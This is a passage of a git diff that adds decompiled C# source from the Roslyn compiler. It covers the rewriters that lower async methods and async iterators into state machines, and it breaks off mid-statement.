= GenerateSetExceptionCall(exceptionLocal); + return new BoundCatchBlock(F.Syntax, ImmutableArray.Create(exceptionLocal), F.Local(exceptionLocal), exceptionLocal.Type, null, null, F.Block(boundStatement, GenerateHoistedLocalsCleanup(hoistedLocals), boundStatement2, GenerateReturn(finished: false)), isSynthesizedAsyncCatchAll: true); + } + + protected BoundStatement GenerateHoistedLocalsCleanup(ImmutableArray hoistedLocals) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = hoistedLocals.GetEnumerator(); + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + while (enumerator.MoveNext()) + { + StateMachineFieldSymbol current = enumerator.Current; + useSiteInfo._002Ector((BindingDiagnosticBag)(object)F.Diagnostics, F.Compilation.Assembly); + bool num = current.Type.IsManagedType(ref useSiteInfo); + ((BindingDiagnosticBag)(object)F.Diagnostics).Add(current.GetFirstLocationOrNone(), useSiteInfo); + if (num) + { + instance.Add((BoundStatement)F.Assignment(F.Field(F.This(), current), F.NullOrDefault(current.Type))); + } + } + return F.Block(instance.ToImmutableAndFree()); + } + + protected virtual BoundStatement GenerateSetExceptionCall(LocalSymbol exceptionLocal) + { + return F.ExpressionStatement(F.Call(F.Field(F.This(), _asyncMethodBuilderField), _asyncMethodBuilderMemberCollection.SetException, F.Local(exceptionLocal))); + } + + protected sealed override BoundStatement GenerateReturn(bool finished) + { + return F.Goto(_exitLabel); + } + + protected virtual BoundStatement VisitBody(BoundStatement body) + { + return (BoundStatement)Visit(body); + } + + public sealed override BoundNode VisitExpressionStatement(BoundExpressionStatement node) + { + if (node.Expression.Kind == BoundKind.AwaitExpression) + { + return VisitAwaitExpression((BoundAwaitExpression)node.Expression, null); + } + if (node.Expression.Kind == BoundKind.AssignmentOperator) + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)node.Expression; + if (boundAssignmentOperator.Right.Kind == BoundKind.AwaitExpression) + { + return VisitAwaitExpression((BoundAwaitExpression)boundAssignmentOperator.Right, boundAssignmentOperator.Left); + } + } + BoundExpression boundExpression = (BoundExpression)Visit(node.Expression); + if (boundExpression == null) + { + return F.StatementList(); + } + return node.Update(boundExpression); + } + + public sealed override BoundNode VisitAwaitExpression(BoundAwaitExpression node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/AsyncRewriter/AsyncMethodToStateMachineRewriter.cs", 333); + } + + public sealed override BoundNode VisitBadExpression(BoundBadExpression node) + { + return node; + } + + private BoundBlock VisitAwaitExpression(BoundAwaitExpression node, BoundExpression resultPlace) + { + BoundExpression boundExpression = (BoundExpression)Visit(node.Expression); + BoundAwaitableValuePlaceholder awaitableInstancePlaceholder = node.AwaitableInfo.AwaitableInstancePlaceholder; + if (awaitableInstancePlaceholder != null) + { + _placeholderMap.Add(awaitableInstancePlaceholder, boundExpression); + } + BoundExpression boundExpression2 = (node.AwaitableInfo.IsDynamic ? MakeCallMaybeDynamic(boundExpression, null, "GetAwaiter") : ((BoundExpression)Visit(node.AwaitableInfo.GetAwaiter))); + resultPlace = (BoundExpression)Visit(resultPlace); + MethodSymbol methodSymbol = VisitMethodSymbol(node.AwaitableInfo.GetResult); + MethodSymbol getIsCompletedMethod = (((object)node.AwaitableInfo.IsCompleted != null) ? VisitMethodSymbol(node.AwaitableInfo.IsCompleted.GetMethod) : null); + TypeSymbol type = VisitType(node.Type); + if (awaitableInstancePlaceholder != null) + { + _placeholderMap.Remove(awaitableInstancePlaceholder); + } + LocalSymbol localSymbol = F.SynthesizedLocal(boundExpression2.Type, node.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)33); + BoundBlock boundBlock = F.Block(F.Assignment(F.Local(localSymbol), boundExpression2), F.HiddenSequencePoint(), F.If(F.Not(GenerateGetIsCompleted(localSymbol, getIsCompletedMethod)), GenerateAwaitForIncompleteTask(localSymbol, node.DebugInfo))); + BoundExpression boundExpression3 = MakeCallMaybeDynamic(F.Local(localSymbol), methodSymbol, "GetResult", resultPlace == null); + BoundStatement boundStatement = ((resultPlace != null && !type.IsVoidType()) ? F.Assignment(resultPlace, boundExpression3) : F.ExpressionStatement(boundExpression3)); + return F.Block(ImmutableArray.Create(localSymbol), boundBlock, boundStatement); + } + + public override BoundNode VisitAwaitableValuePlaceholder(BoundAwaitableValuePlaceholder node) + { + return _placeholderMap[node]; + } + + private BoundExpression MakeCallMaybeDynamic(BoundExpression receiver, MethodSymbol methodSymbol = null, string methodName = null, bool resultsDiscarded = false) + { + if ((object)methodSymbol != null) + { + if (!methodSymbol.IsStatic) + { + return F.Call(receiver, methodSymbol); + } + return F.StaticCall(methodSymbol.ContainingType, methodSymbol, receiver); + } + return _dynamicFactory.MakeDynamicMemberInvocation(methodName, receiver, ImmutableArray.Empty, ImmutableArray.Empty, ImmutableArray.Empty, ImmutableArray.Empty, hasImplicitReceiver: false, resultsDiscarded).ToExpression(); + } + + private BoundExpression GenerateGetIsCompleted(LocalSymbol awaiterTemp, MethodSymbol getIsCompletedMethod) + { + if (awaiterTemp.Type.IsDynamic()) + { + return _dynamicFactory.MakeDynamicConversion(_dynamicFactory.MakeDynamicGetMember(F.Local(awaiterTemp), "IsCompleted", resultIndexed: false).ToExpression(), isExplicit: true, isArrayIndex: false, isChecked: false, F.SpecialType((SpecialType)7)).ToExpression(); + } + return F.Call(F.Local(awaiterTemp), getIsCompletedMethod); + } + + private BoundBlock GenerateAwaitForIncompleteTask(LocalSymbol awaiterTemp, BoundAwaitExpressionDebugInfo debugInfo) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_013e: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode declaratorSyntax = awaiterTemp.GetDeclaratorSyntax(); + AddResumableState(declaratorSyntax, debugInfo.AwaitId, out StateMachineState state, out GeneratedLabelSymbol resumeLabel); + TypeSymbol typeSymbol = (awaiterTemp.Type.IsVerifierReference() ? F.SpecialType((SpecialType)1) : awaiterTemp.Type); + FieldSymbol awaiterField = GetAwaiterField(typeSymbol); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add((BoundStatement)GenerateSetBothStates(state)); + instance.Add(F.NoOp(NoOpStatementFlavor.AwaitYieldPoint)); + instance.Add((BoundStatement)F.Assignment(F.Field(F.This(), awaiterField), TypeSymbol.Equals(awaiterField.Type, awaiterTemp.Type, (TypeCompareKind)0) ? F.Local(awaiterTemp) : F.Convert(typeSymbol, F.Local(awaiterTemp)))); + instance.Add(awaiterTemp.Type.IsDynamic() ? GenerateAwaitOnCompletedDynamic(awaiterTemp) : GenerateAwaitOnCompleted(awaiterTemp.Type, awaiterTemp)); + instance.Add(GenerateReturn(finished: false)); + if (((CompilationOptions)F.Compilation.Options).EnableEditAndContinue) + { + for (int i = 0; i < debugInfo.ReservedStateMachineCount; i++) + { + AwaitDebugId awaitId = debugInfo.AwaitId; + AddResumableState(declaratorSyntax, new AwaitDebugId((byte)(((AwaitDebugId)(ref awaitId)).RelativeStateOrdinal + 1 + i)), out StateMachineState _, out GeneratedLabelSymbol resumeLabel2); + instance.Add((BoundStatement)F.Label(resumeLabel2)); + } + } + instance.Add((BoundStatement)F.Label(resumeLabel)); + instance.Add(F.NoOp(NoOpStatementFlavor.AwaitResumePoint)); + instance.Add((BoundStatement)F.Assignment(F.Local(awaiterTemp), TypeSymbol.Equals(awaiterTemp.Type, awaiterField.Type, (TypeCompareKind)0) ? F.Field(F.This(), awaiterField) : F.Convert(awaiterTemp.Type, F.Field(F.This(), awaiterField)))); + instance.Add((BoundStatement)F.Assignment(F.Field(F.This(), awaiterField), F.NullOrDefault(awaiterField.Type))); + instance.Add((BoundStatement)GenerateSetBothStates((StateMachineState)(-1))); + return F.Block(instance.ToImmutableAndFree()); + } + + private BoundStatement GenerateAwaitOnCompletedDynamic(LocalSymbol awaiterTemp) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Invalid comparison between Unknown and I4 + LocalSymbol localSymbol = F.SynthesizedLocal(F.WellKnownType((WellKnownType)241), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + LocalSymbol localSymbol2 = F.SynthesizedLocal(F.WellKnownType((WellKnownType)172), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + LocalSymbol localSymbol3 = (((int)F.CurrentType.TypeKind == 2) ? F.SynthesizedLocal(F.CurrentType, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)) : null); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add((BoundStatement)F.Assignment(F.Local(localSymbol), F.As(F.Local(awaiterTemp), localSymbol.Type))); + if (localSymbol3 != null) + { + instance.Add((BoundStatement)F.Assignment(F.Local(localSymbol3), F.This())); + } + instance.Add(F.If(F.ObjectEqual(F.Local(localSymbol), F.Null(localSymbol.Type)), F.Block(ImmutableArray.Create(localSymbol2), F.Assignment(F.Local(localSymbol2), F.Convert(localSymbol2.Type, F.Local(awaiterTemp), Conversion.ExplicitReference)), F.ExpressionStatement(F.Call(F.Field(F.This(), _asyncMethodBuilderField), _asyncMethodBuilderMemberCollection.AwaitOnCompleted.Construct(localSymbol2.Type, F.This().Type), F.Local(localSymbol2), F.This(localSymbol3))), F.Assignment(F.Local(localSymbol2), F.NullOrDefault(localSymbol2.Type))), F.Block(F.ExpressionStatement(F.Call(F.Field(F.This(), _asyncMethodBuilderField), _asyncMethodBuilderMemberCollection.AwaitUnsafeOnCompleted.Construct(localSymbol.Type, F.This().Type), F.Local(localSymbol), F.This(localSymbol3)))))); + instance.Add((BoundStatement)F.Assignment(F.Local(localSymbol), F.NullOrDefault(localSymbol.Type))); + return F.Block(SingletonOrPair(localSymbol, localSymbol3), instance.ToImmutableAndFree()); + } + + private BoundStatement GenerateAwaitOnCompleted(TypeSymbol loweredAwaiterType, LocalSymbol awaiterTemp) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + LocalSymbol localSymbol = (((int)F.CurrentType.TypeKind == 2) ? F.SynthesizedLocal(F.CurrentType, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)) : null); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + MethodSymbol method = (F.Compilation.Conversions.ClassifyImplicitConversionFromType(loweredAwaiterType, F.Compilation.GetWellKnownType((WellKnownType)241), ref useSiteInfo).IsImplicit ? _asyncMethodBuilderMemberCollection.AwaitUnsafeOnCompleted : _asyncMethodBuilderMemberCollection.AwaitOnCompleted).Construct(loweredAwaiterType, F.This().Type); + if (_asyncMethodBuilderMemberCollection.CheckGenericMethodConstraints) + { + method.CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(F.Compilation, F.Compilation.Conversions, includeNullability: false, F.Syntax.Location, Diagnostics)); + } + BoundExpression boundExpression = F.Call(F.Field(F.This(), _asyncMethodBuilderField), method, F.Local(awaiterTemp), F.This(localSymbol)); + if (localSymbol != null) + { + boundExpression = F.Sequence(ImmutableArray.Create(localSymbol), ImmutableArray.Create(F.AssignmentExpression(F.Local(localSymbol), F.This())), boundExpression); + } + return F.ExpressionStatement(boundExpression); + } + + private static ImmutableArray SingletonOrPair(LocalSymbol first, LocalSymbol secondOpt) + { + if (!(secondOpt == null)) + { + return ImmutableArray.Create(first, secondOpt); + } + return ImmutableArray.Create(first); + } + + public sealed override BoundNode VisitReturnStatement(BoundReturnStatement node) + { + if (node.ExpressionOpt != null) + { + return F.Block(F.Assignment(F.Local(_exprRetValue), (BoundExpression)Visit(node.ExpressionOpt)), F.Goto(_exprReturnLabel)); + } + return F.Goto(_exprReturnLabel); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncRewriter.cs new file mode 100644 index 0000000..636b8a9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncRewriter.cs @@ -0,0 +1,484 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class AsyncRewriter : StateMachineRewriter +{ + private sealed class AsyncIteratorRewriter : AsyncRewriter + { + private FieldSymbol _promiseOfValueOrEndField; + + private FieldSymbol _currentField; + + private FieldSymbol _disposeModeField; + + private FieldSymbol _combinedTokensField; + + private readonly bool _isEnumerable; + + protected override bool PreserveInitialParameterValuesAndThreadId => _isEnumerable; + + internal AsyncIteratorRewriter(BoundStatement body, MethodSymbol method, int methodOrdinal, AsyncStateMachine stateMachineType, ArrayBuilder stateMachineStateDebugInfoBuilder, VariableSlotAllocator slotAllocatorOpt, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + : base(body, method, methodOrdinal, stateMachineType, stateMachineStateDebugInfoBuilder, slotAllocatorOpt, compilationState, diagnostics) + { + _isEnumerable = method.IsAsyncReturningIAsyncEnumerable(method.DeclaringCompilation); + } + + protected override void VerifyPresenceOfRequiredAPIs(BindingDiagnosticBag bag) + { + base.VerifyPresenceOfRequiredAPIs(bag); + if (_isEnumerable) + { + EnsureWellKnownMember((WellKnownMember)427, bag); + EnsureWellKnownMember((WellKnownMember)457, bag); + EnsureWellKnownMember((WellKnownMember)458, bag); + EnsureWellKnownMember((WellKnownMember)459, bag); + EnsureWellKnownMember((WellKnownMember)460, bag); + } + EnsureWellKnownMember((WellKnownMember)428, bag); + EnsureWellKnownMember((WellKnownMember)429, bag); + EnsureWellKnownMember((WellKnownMember)426, bag); + EnsureWellKnownMember((WellKnownMember)443, bag); + EnsureWellKnownMember((WellKnownMember)444, bag); + EnsureWellKnownMember((WellKnownMember)445, bag); + EnsureWellKnownMember((WellKnownMember)430, bag); + EnsureWellKnownMember((WellKnownMember)431, bag); + EnsureWellKnownMember((WellKnownMember)436, bag); + EnsureWellKnownMember((WellKnownMember)432, bag); + EnsureWellKnownMember((WellKnownMember)433, bag); + EnsureWellKnownMember((WellKnownMember)434, bag); + EnsureWellKnownMember((WellKnownMember)435, bag); + EnsureWellKnownMember((WellKnownMember)437, bag); + EnsureWellKnownMember((WellKnownMember)438, bag); + EnsureWellKnownMember((WellKnownMember)439, bag); + EnsureWellKnownMember((WellKnownMember)440, bag); + EnsureWellKnownMember((WellKnownMember)441, bag); + EnsureWellKnownMember((WellKnownMember)442, bag); + } + + protected override void GenerateMethodImplementations() + { + base.GenerateMethodImplementations(); + if (_isEnumerable) + { + GenerateIAsyncEnumerableImplementation_GetAsyncEnumerator(); + } + GenerateIAsyncEnumeratorImplementation_MoveNextAsync(); + GenerateIAsyncEnumeratorImplementation_Current(); + GenerateIValueTaskSourceBoolImplementation_GetResult(); + GenerateIValueTaskSourceBoolImplementation_GetStatus(); + GenerateIValueTaskSourceBoolImplementation_OnCompleted(); + GenerateIValueTaskSourceImplementation_GetResult(); + GenerateIValueTaskSourceImplementation_GetStatus(); + GenerateIValueTaskSourceImplementation_OnCompleted(); + GenerateIAsyncDisposable_DisposeAsync(); + } + + protected override void GenerateControlFields() + { + base.GenerateControlFields(); + NamedTypeSymbol namedTypeSymbol = F.SpecialType((SpecialType)7); + _promiseOfValueOrEndField = F.StateMachineField(F.WellKnownType((WellKnownType)290).Construct(namedTypeSymbol), GeneratedNames.MakeAsyncIteratorPromiseOfValueOrEndFieldName(), isPublic: true); + TypeSymbol iteratorElementType = ((AsyncStateMachine)stateMachineType).IteratorElementType; + _currentField = F.StateMachineField(iteratorElementType, GeneratedNames.MakeIteratorCurrentFieldName()); + _disposeModeField = F.StateMachineField(namedTypeSymbol, GeneratedNames.MakeDisposeModeFieldName()); + if (_isEnumerable && method.Parameters.Any((ParameterSymbol p) => p.IsSourceParameterWithEnumeratorCancellationAttribute())) + { + _combinedTokensField = F.StateMachineField(F.WellKnownType((WellKnownType)299), GeneratedNames.MakeAsyncIteratorCombinedTokensFieldName()); + } + } + + protected override void GenerateConstructor() + { + F.CurrentFunction = stateMachineType.Constructor; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add(F.BaseInitialization()); + instance.Add((BoundStatement)GenerateCreateAndAssignBuilder()); + instance.Add((BoundStatement)F.Assignment(F.InstanceField(stateField), F.Parameter(F.CurrentFunction.Parameters[0]))); + BoundExpression boundExpression = MakeCurrentThreadId(); + if (boundExpression != null && (object)initialThreadIdField != null) + { + instance.Add((BoundStatement)F.Assignment(F.InstanceField(initialThreadIdField), boundExpression)); + } + if ((object)instanceIdField != null) + { + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)361); + if ((object)methodSymbol != null) + { + instance.Add((BoundStatement)F.Assignment(F.InstanceField(instanceIdField), F.Call(null, methodSymbol))); + } + } + instance.Add((BoundStatement)F.Return()); + F.CloseMethod(F.Block(instance.ToImmutableAndFree())); + } + + private BoundExpressionStatement GenerateCreateAndAssignBuilder() + { + return F.Assignment(F.InstanceField(_builderField), F.StaticCall(null, _asyncMethodBuilderMemberCollection.CreateBuilder)); + } + + protected override void InitializeStateMachine(ArrayBuilder bodyBuilder, NamedTypeSymbol frameType, LocalSymbol stateMachineLocal) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + StateMachineState value = (StateMachineState)(_isEnumerable ? (-2) : (-3)); + bodyBuilder.Add((BoundStatement)F.Assignment(F.Local(stateMachineLocal), F.New(stateMachineType.Constructor.AsMember(frameType), F.Literal(value)))); + } + + protected override BoundStatement InitializeParameterField(MethodSymbol getEnumeratorMethod, ParameterSymbol parameter, BoundExpression resultParameter, BoundExpression parameterProxy) + { + if ((object)_combinedTokensField != null && parameter.IsSourceParameterWithEnumeratorCancellationAttribute() && parameter.Type.Equals(F.Compilation.GetWellKnownType((WellKnownType)298), (TypeCompareKind)0)) + { + BoundParameter boundParameter = F.Parameter(getEnumeratorMethod.Parameters[0]); + BoundFieldAccess boundFieldAccess = F.Field(F.This(), _combinedTokensField); + return F.If(F.Call(parameterProxy, (WellKnownMember)457, F.Default(parameterProxy.Type)), F.Assignment(resultParameter, boundParameter), F.If(F.LogicalOr(F.Call(boundParameter, (WellKnownMember)457, parameterProxy), F.Call(boundParameter, (WellKnownMember)457, F.Default(boundParameter.Type))), F.Assignment(resultParameter, parameterProxy), F.Block(F.Assignment(boundFieldAccess, F.StaticCall((WellKnownMember)458, parameterProxy, boundParameter)), F.Assignment(resultParameter, F.Property(boundFieldAccess, (WellKnownMember)459))))); + } + return F.Assignment(resultParameter, parameterProxy); + } + + protected override BoundStatement GenerateStateMachineCreation(LocalSymbol stateMachineVariable, NamedTypeSymbol frameType, IReadOnlyDictionary proxies) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add(GenerateParameterStorage(stateMachineVariable, proxies)); + instance.Add((BoundStatement)F.Return(F.Local(stateMachineVariable))); + return F.Block(instance.ToImmutableAndFree()); + } + + private void GenerateIAsyncEnumeratorImplementation_MoveNextAsync() + { + NamedTypeSymbol newOwner = F.WellKnownType((WellKnownType)289).Construct(_currentField.Type); + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)428).AsMember(newOwner); + NamedTypeSymbol newOwner2 = (NamedTypeSymbol)_promiseOfValueOrEndField.Type; + MethodSymbol methodSymbol2 = F.WellKnownMethod((WellKnownMember)431).AsMember(newOwner2); + MethodSymbol methodSymbol3 = F.WellKnownMethod((WellKnownMember)430).AsMember(newOwner2); + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)methodSymbol.ReturnType; + MethodSymbol ctor = F.WellKnownMethod((WellKnownMember)444).AsMember(namedTypeSymbol); + MethodSymbol ctor2 = F.WellKnownMethod((WellKnownMember)443).AsMember(namedTypeSymbol); + OpenMethodImplementation(methodSymbol); + GetPartsForStartingMachine(out var callReset, out var instSymbol, out var instAssignment, out var startCall, out var promise_get_Version); + BoundStatement boundStatement = F.If(F.IntEqual(F.InstanceField(stateField), F.Literal((StateMachineState)(-2))), F.Return(F.Default(namedTypeSymbol))); + LocalSymbol localSymbol = F.SynthesizedLocal(F.SpecialType((SpecialType)11), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundLocal boundLocal = F.Local(localSymbol); + BoundExpressionStatement boundExpressionStatement = F.Assignment(boundLocal, F.Call(F.Field(F.This(), _promiseOfValueOrEndField), promise_get_Version)); + BoundStatement boundStatement2 = F.If(F.IntEqual(F.Call(F.Field(F.This(), _promiseOfValueOrEndField), methodSymbol2, boundLocal), F.Literal(1)), F.Return(F.New(ctor, F.Call(F.Field(F.This(), _promiseOfValueOrEndField), methodSymbol3, boundLocal)))); + BoundReturnStatement boundReturnStatement = F.Return(F.New(ctor2, F.This(), boundLocal)); + F.CloseMethod(F.Block(ImmutableArray.Create(instSymbol, localSymbol), boundStatement, callReset, instAssignment, startCall, boundExpressionStatement, boundStatement2, boundReturnStatement)); + } + + private void GetPartsForStartingMachine(out BoundExpressionStatement callReset, out LocalSymbol instSymbol, out BoundStatement instAssignment, out BoundExpressionStatement startCall, out MethodSymbol promise_get_Version) + { + BoundFieldAccess receiver = F.InstanceField(_promiseOfValueOrEndField); + MethodSymbol methodSymbol = (MethodSymbol)F.WellKnownMethod((WellKnownMember)433, isOptional: true).SymbolAsMember((NamedTypeSymbol)_promiseOfValueOrEndField.Type); + callReset = F.ExpressionStatement(F.Call(receiver, methodSymbol)); + MethodSymbol methodSymbol2 = _asyncMethodBuilderMemberCollection.Start.Construct(stateMachineType); + instSymbol = F.SynthesizedLocal(stateMachineType, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundLocal boundLocal = F.Local(instSymbol); + instAssignment = F.Assignment(boundLocal, F.This()); + startCall = F.ExpressionStatement(F.Call(F.InstanceField(_builderField), methodSymbol2, ImmutableArray.Create((BoundExpression)boundLocal))); + promise_get_Version = F.WellKnownMethod((WellKnownMember)436).AsMember((NamedTypeSymbol)_promiseOfValueOrEndField.Type); + } + + private void GenerateIAsyncDisposable_DisposeAsync() + { + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)426); + OpenMethodImplementation(methodSymbol); + TypeSymbol returnType = methodSymbol.ReturnType; + GetPartsForStartingMachine(out var callReset, out var instSymbol, out var instAssignment, out var startCall, out var promise_get_Version); + BoundStatement boundStatement = F.If(F.IntGreaterThanOrEqual(F.InstanceField(stateField), F.Literal((StateMachineState)(-1))), F.Throw(F.New(F.WellKnownType((WellKnownType)240)))); + BoundStatement boundStatement2 = F.If(F.IntEqual(F.InstanceField(stateField), F.Literal((StateMachineState)(-2))), F.Return(F.Default(returnType))); + MethodSymbol ctor = F.WellKnownMethod((WellKnownMember)445).AsMember((NamedTypeSymbol)methodSymbol.ReturnType); + BoundReturnStatement boundReturnStatement = F.Return(F.New(ctor, F.This(), F.Call(F.InstanceField(_promiseOfValueOrEndField), promise_get_Version))); + F.CloseMethod(F.Block(ImmutableArray.Create(instSymbol), boundStatement, boundStatement2, F.Assignment(F.InstanceField(_disposeModeField), F.Literal(value: true)), callReset, instAssignment, startCall, boundReturnStatement)); + } + + private void GenerateIAsyncEnumeratorImplementation_Current() + { + NamedTypeSymbol newOwner = F.WellKnownType((WellKnownType)289).Construct(_currentField.Type); + MethodSymbol getterToImplement = F.WellKnownMethod((WellKnownMember)429).AsMember(newOwner); + OpenPropertyImplementation(getterToImplement); + F.CloseMethod(F.Block(F.Return(F.InstanceField(_currentField)))); + } + + private void GenerateIValueTaskSourceBoolImplementation_GetResult() + { + NamedTypeSymbol newOwner = F.WellKnownType((WellKnownType)293).Construct(F.SpecialType((SpecialType)7)); + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)437).AsMember(newOwner); + MethodSymbol methodSymbol2 = F.WellKnownMethod((WellKnownMember)430).AsMember((NamedTypeSymbol)_promiseOfValueOrEndField.Type); + OpenMethodImplementation(methodSymbol); + F.CloseMethod(F.Return(F.Call(F.InstanceField(_promiseOfValueOrEndField), methodSymbol2, F.Parameter(methodSymbol.Parameters[0])))); + } + + private void GenerateIValueTaskSourceBoolImplementation_GetStatus() + { + NamedTypeSymbol newOwner = F.WellKnownType((WellKnownType)293).Construct(F.SpecialType((SpecialType)7)); + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)438).AsMember(newOwner); + MethodSymbol methodSymbol2 = F.WellKnownMethod((WellKnownMember)431).AsMember((NamedTypeSymbol)_promiseOfValueOrEndField.Type); + OpenMethodImplementation(methodSymbol); + F.CloseMethod(F.Return(F.Call(F.InstanceField(_promiseOfValueOrEndField), methodSymbol2, F.Parameter(methodSymbol.Parameters[0])))); + } + + private void GenerateIValueTaskSourceBoolImplementation_OnCompleted() + { + NamedTypeSymbol newOwner = F.WellKnownType((WellKnownType)293).Construct(F.SpecialType((SpecialType)7)); + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)439).AsMember(newOwner); + MethodSymbol methodSymbol2 = F.WellKnownMethod((WellKnownMember)432).AsMember((NamedTypeSymbol)_promiseOfValueOrEndField.Type); + OpenMethodImplementation(methodSymbol); + F.CloseMethod(F.Block(F.ExpressionStatement(F.Call(F.InstanceField(_promiseOfValueOrEndField), methodSymbol2, F.Parameter(methodSymbol.Parameters[0]), F.Parameter(methodSymbol.Parameters[1]), F.Parameter(methodSymbol.Parameters[2]), F.Parameter(methodSymbol.Parameters[3]))), F.Return())); + } + + private void GenerateIValueTaskSourceImplementation_GetResult() + { + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)440); + MethodSymbol methodSymbol2 = F.WellKnownMethod((WellKnownMember)430).AsMember((NamedTypeSymbol)_promiseOfValueOrEndField.Type); + OpenMethodImplementation(methodSymbol); + F.CloseMethod(F.Block(F.ExpressionStatement(F.Call(F.InstanceField(_promiseOfValueOrEndField), methodSymbol2, F.Parameter(methodSymbol.Parameters[0]))), F.Return())); + } + + private void GenerateIValueTaskSourceImplementation_GetStatus() + { + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)441); + MethodSymbol methodSymbol2 = F.WellKnownMethod((WellKnownMember)431).AsMember((NamedTypeSymbol)_promiseOfValueOrEndField.Type); + OpenMethodImplementation(methodSymbol); + F.CloseMethod(F.Return(F.Call(F.InstanceField(_promiseOfValueOrEndField), methodSymbol2, F.Parameter(methodSymbol.Parameters[0])))); + } + + private void GenerateIValueTaskSourceImplementation_OnCompleted() + { + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)442); + MethodSymbol methodSymbol2 = F.WellKnownMethod((WellKnownMember)432).AsMember((NamedTypeSymbol)_promiseOfValueOrEndField.Type); + OpenMethodImplementation(methodSymbol); + F.CloseMethod(F.Block(F.ExpressionStatement(F.Call(F.InstanceField(_promiseOfValueOrEndField), methodSymbol2, F.Parameter(methodSymbol.Parameters[0]), F.Parameter(methodSymbol.Parameters[1]), F.Parameter(methodSymbol.Parameters[2]), F.Parameter(methodSymbol.Parameters[3]))), F.Return())); + } + + private void GenerateIAsyncEnumerableImplementation_GetAsyncEnumerator() + { + NamedTypeSymbol newOwner = F.WellKnownType((WellKnownType)288).Construct(_currentField.Type); + MethodSymbol getEnumeratorMethod = F.WellKnownMethod((WellKnownMember)427).AsMember(newOwner); + BoundExpression managedThreadId = null; + GenerateIteratorGetEnumerator(getEnumeratorMethod, ref managedThreadId, (StateMachineState)(-3)); + } + + protected override void GenerateResetInstance(ArrayBuilder builder, StateMachineState initialState) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + builder.Add((BoundStatement)F.Assignment(F.Field(F.This(), stateField), F.Literal(initialState))); + builder.Add((BoundStatement)GenerateCreateAndAssignBuilder()); + builder.Add((BoundStatement)F.Assignment(F.InstanceField(_disposeModeField), F.Literal(value: false))); + } + + protected override void GenerateMoveNext(SynthesizedImplementationMethod moveNextMethod) + { + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)435, isOptional: true); + if ((object)methodSymbol != null) + { + methodSymbol = (MethodSymbol)methodSymbol.SymbolAsMember((NamedTypeSymbol)_promiseOfValueOrEndField.Type); + } + MethodSymbol methodSymbol2 = F.WellKnownMethod((WellKnownMember)434, isOptional: true); + if ((object)methodSymbol2 != null) + { + methodSymbol2 = (MethodSymbol)methodSymbol2.SymbolAsMember((NamedTypeSymbol)_promiseOfValueOrEndField.Type); + } + new AsyncIteratorMethodToStateMachineRewriter(method, _methodOrdinal, _asyncMethodBuilderMemberCollection, new AsyncIteratorInfo(_promiseOfValueOrEndField, _combinedTokensField, _currentField, _disposeModeField, methodSymbol, methodSymbol2), F, stateField, _builderField, instanceIdField, (IReadOnlySet)(object)hoistedVariables, nonReusableLocalProxies, synthesizedLocalOrdinals, stateMachineStateDebugInfoBuilder, 